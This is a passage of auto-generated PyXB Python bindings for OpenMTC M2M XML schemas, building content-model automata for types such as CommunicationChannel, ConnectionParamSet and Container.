pyxb.namespace.ExpandedName(Namespace, u'sclList')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 63, 12)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(AnnounceTo._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'global')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 64, 12)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False)])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, True)])) st_2._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) AnnounceTo._Automaton = _BuildAutomaton_22() NamedReferenceCollection._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'namedReference'), ReferenceToNamedResource, scope=NamedReferenceCollection, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 104, 4))) def _BuildAutomaton_23(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_23 del _BuildAutomaton_23 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=None, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 91, 12)) counters.add(cc_0) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse( NamedReferenceCollection._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'namedReference')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 91, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) NamedReferenceCollection._Automaton = _BuildAutomaton_23() Schedule._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'scheduleString'), ScheduleString, scope=Schedule, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 115, 4))) def _BuildAutomaton_24(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_24 del _BuildAutomaton_24 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=None, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 110, 12)) counters.add(cc_0) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(Schedule._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'scheduleString')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 110, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) Schedule._Automaton = _BuildAutomaton_24() TrpdtType._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'tolerableDelay'), pyxb.binding.datatypes.duration, scope=TrpdtType, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 179, 12))) TrpdtType._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'tolerableTime'), pyxb.binding.datatypes.time, scope=TrpdtType, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 181, 12))) def _BuildAutomaton_25(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_25 del _BuildAutomaton_25 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1L, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 179, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1L, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 181, 12)) counters.add(cc_1) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(TrpdtType._UseForTag( pyxb.namespace.ExpandedName(None, u'tolerableDelay')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 179, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(TrpdtType._UseForTag( pyxb.namespace.ExpandedName(None, u'tolerableTime')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 181, 12)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True)])) st_1._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) TrpdtType._Automaton = _BuildAutomaton_25() ActionStatus._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'action'), pyxb.binding.datatypes.anyURI, scope=ActionStatus, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd', 26, 12))) ActionStatus._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'progress'), STD_ANON, scope=ActionStatus, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd', 27, 12))) ActionStatus._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'finalStatus'), FinalStatus, scope=ActionStatus, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd', 35, 12))) def _BuildAutomaton_26(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_26 del _BuildAutomaton_26 import pyxb.utils.fac as fac counters = set() states = [] final_update = None symbol = pyxb.binding.content.ElementUse( ActionStatus._UseForTag(pyxb.namespace.ExpandedName(None, u'action')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd', 26, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = None symbol = pyxb.binding.content.ElementUse( ActionStatus._UseForTag(pyxb.namespace.ExpandedName(None, u'progress')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd', 27, 12)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() symbol = pyxb.binding.content.ElementUse(ActionStatus._UseForTag( pyxb.namespace.ExpandedName(None, u'finalStatus')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd', 35, 12)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) transitions = [] transitions.append(fac.Transition(st_1, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ ])) st_1._set_transitionSet(transitions) transitions = [] st_2._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) ActionStatus._Automaton = _BuildAutomaton_26() AreaNwkTypeInfoSet._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'areaNwkTypeItem'), NameValuePairItem, scope=AreaNwkTypeInfoSet, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd', 72, 4))) def _BuildAutomaton_27(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_27 del _BuildAutomaton_27 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=None, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd', 67, 12)) counters.add(cc_0) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(AreaNwkTypeInfoSet._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'areaNwkTypeItem')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd', 67, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) AreaNwkTypeInfoSet._Automaton = _BuildAutomaton_27() NameValuePairItem._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, u'name'), pyxb.binding.datatypes.string, scope=NameValuePairItem, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd', 81, 4))) NameValuePairItem._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, u'value'), pyxb.binding.datatypes.string, scope=NameValuePairItem, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd', 83, 4))) def _BuildAutomaton_28(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_28 del _BuildAutomaton_28 import pyxb.utils.fac as fac counters = set() states = [] final_update = None symbol = pyxb.binding.content.ElementUse(NameValuePairItem._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'name')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd', 76, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() symbol = pyxb.binding.content.ElementUse(NameValuePairItem._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'value')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd', 77, 12)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) transitions = [] transitions.append(fac.Transition(st_1, [ ])) st_0._set_transitionSet(transitions) transitions = [] st_1._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) NameValuePairItem._Automaton = _BuildAutomaton_28() CommunicationChannel._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'creationTime'), pyxb.binding.datatypes.dateTime, scope=CommunicationChannel, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12, 4))) CommunicationChannel._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'), pyxb.binding.datatypes.dateTime, scope=CommunicationChannel, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14, 4))) CommunicationChannel._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'contactURI'), pyxb.binding.datatypes.anyURI, scope=CommunicationChannel, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 136, 4))) CommunicationChannel._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'channelType'), ChannelType, scope=CommunicationChannel, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 138, 4))) CommunicationChannel._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'channelData'), ChannelData, scope=CommunicationChannel, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 146, 4))) def _BuildAutomaton_29(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_29 del _BuildAutomaton_29 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannel.xsd', 12, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannel.xsd', 13, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannel.xsd', 14, 12)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannel.xsd', 15, 12)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannel.xsd', 16, 12)) counters.add(cc_4) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(CommunicationChannel._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'channelType')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannel.xsd', 12, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(CommunicationChannel._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'contactURI')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannel.xsd', 13, 12)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(CommunicationChannel._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'channelData')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannel.xsd', 14, 12)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(CommunicationChannel._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'creationTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannel.xsd', 15, 12)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(CommunicationChannel._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannel.xsd', 16, 12)) st_4 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_4) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False)])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False)])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_3, True)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, False)])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_4, True)])) st_4._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) CommunicationChannel._Automaton = _BuildAutomaton_29() CommunicationChannels._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'creationTime'), pyxb.binding.datatypes.dateTime, scope=CommunicationChannels, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12, 4))) CommunicationChannels._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'), pyxb.binding.datatypes.dateTime, scope=CommunicationChannels, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14, 4))) CommunicationChannels._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'communicationChannelCollection'), NamedReferenceCollection, scope=CommunicationChannels, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannels.xsd', 19, 4))) def _BuildAutomaton_30(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_30 del _BuildAutomaton_30 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannels.xsd', 12, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannels.xsd', 13, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannels.xsd', 15, 12)) counters.add(cc_2) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(CommunicationChannels._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'creationTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannels.xsd', 12, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(CommunicationChannels._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannels.xsd', 13, 12)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(CommunicationChannels._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'communicationChannelCollection')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannels.xsd', 15, 12)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True)])) st_2._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) CommunicationChannels._Automaton = _BuildAutomaton_30() ConnectionParamSet._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, u'sclId'), pyxb.binding.datatypes.anyURI, scope=ConnectionParamSet, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 220, 4))) ConnectionParamSet._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'securityLifetime'), pyxb.binding.datatypes.dateTime, scope=ConnectionParamSet, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonSecurity.xsd', 16, 4))) ConnectionParamSet._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'securityEncryptedM2MKey'), STD_ANON_2, scope=ConnectionParamSet, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonSecurity.xsd', 20, 4))) ConnectionParamSet._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'securityKmcIndex'), pyxb.binding.datatypes.unsignedInt, scope=ConnectionParamSet, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonSecurity.xsd', 30, 4))) ConnectionParamSet._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'securitymIdFlags'), STD_ANON_3, scope=ConnectionParamSet, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonSecurity.xsd', 32, 4))) ConnectionParamSet._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'securityConnectionId'), pyxb.binding.datatypes.unsignedLong, scope=ConnectionParamSet, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonSecurity.xsd', 48, 4))) def _BuildAutomaton_31(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_31 del _BuildAutomaton_31 import pyxb.utils.fac as fac counters = set() states = [] final_update = None symbol = pyxb.binding.content.ElementUse(ConnectionParamSet._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'securityConnectionId')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/connectionParamSet.xsd', 13, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = None symbol = pyxb.binding.content.ElementUse(ConnectionParamSet._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'securityKmcIndex')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/connectionParamSet.xsd', 14, 12)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = None symbol = pyxb.binding.content.ElementUse(ConnectionParamSet._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'securityLifetime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/connectionParamSet.xsd', 15, 12)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = None symbol = pyxb.binding.content.ElementUse(ConnectionParamSet._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'securityEncryptedM2MKey')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/connectionParamSet.xsd', 16, 12)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = None symbol = pyxb.binding.content.ElementUse(ConnectionParamSet._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'sclId')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/connectionParamSet.xsd', 17, 12)) st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() symbol = pyxb.binding.content.ElementUse(ConnectionParamSet._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'securitymIdFlags')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/connectionParamSet.xsd', 18, 12)) st_5 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_5) transitions = [] transitions.append(fac.Transition(st_1, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ ])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ ])) st_4._set_transitionSet(transitions) transitions = [] st_5._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) ConnectionParamSet._Automaton = _BuildAutomaton_31() Container._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'accessRightID'), pyxb.binding.datatypes.anyURI, scope=Container, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10, 4))) Container._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'creationTime'), pyxb.binding.datatypes.dateTime, scope=Container, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12, 4))) Container._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'), pyxb.binding.datatypes.dateTime, scope=Container, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14, 4))) Container._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'expirationTime'), pyxb.binding.datatypes.dateTime, scope=Container, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 16, 4))) Container._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'searchStrings'), SearchStrings, scope=Container, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 18, 4))) Container._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'announceTo'), AnnounceTo, scope=Container, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 58, 4))) Container._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference'), pyxb.binding.datatypes.anyURI, scope=Container, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 76, 4))) Container._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'contentInstancesReference'), pyxb.binding.datatypes.anyURI, scope=Container, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 86, 4))) Container._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'subcontainersReference'), pyxb.binding.datatypes.anyURI, scope=Container, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 87, 4))) Container._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'maxNrOfInstances'), pyxb.binding.datatypes.long, scope=Container, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd', 30, 4))) Container._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'maxByteSize'), pyxb.binding.datatypes.long, scope=Container, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd', 31, 4))) Container._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'maxInstanceAge'), pyxb.binding.datatypes.duration, scope=Container, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd', 32, 4))) def _BuildAutomaton_32(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_32 del _BuildAutomaton_32 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs 